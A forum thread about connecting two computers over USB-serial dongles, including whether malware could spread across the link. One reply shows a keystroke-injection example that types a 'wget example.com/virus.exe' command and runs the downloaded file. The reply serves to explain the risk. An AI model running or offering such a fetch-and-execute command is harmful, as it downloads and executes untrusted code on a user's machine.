Remix.run Logo
rpcope1 9 days ago

Easy way is probably two usb-serial dongles and a null modem, if you don't need huge amounts of throughput.

kejaed 6 days ago | parent | next [-]

You can buy an off the shelf cable for this.

https://www.digikey.ca/en/products/detail/ftdi-future-techno...

WorldDev 9 days ago | parent | prev | next [-]

Thanks for that, that's an interesting thought. I am trying to think about the security aspect. If the receiving device (mac mini) is infected with malware, can it infect the macBook through the serial port?

vbezhenar 9 days ago | parent | next [-]

Of course it can. You can send keystrokes something like <Win>+R, cmd, wget example.com/virus.exe <Enter> virus.exe <Enter> and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS.

The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.

the__alchemist 9 days ago | parent | prev [-]

No. You're just sending bits down a wired connection.

brudgers 9 days ago | parent | prev [-]

Two ethernet dongles would not require a special cable.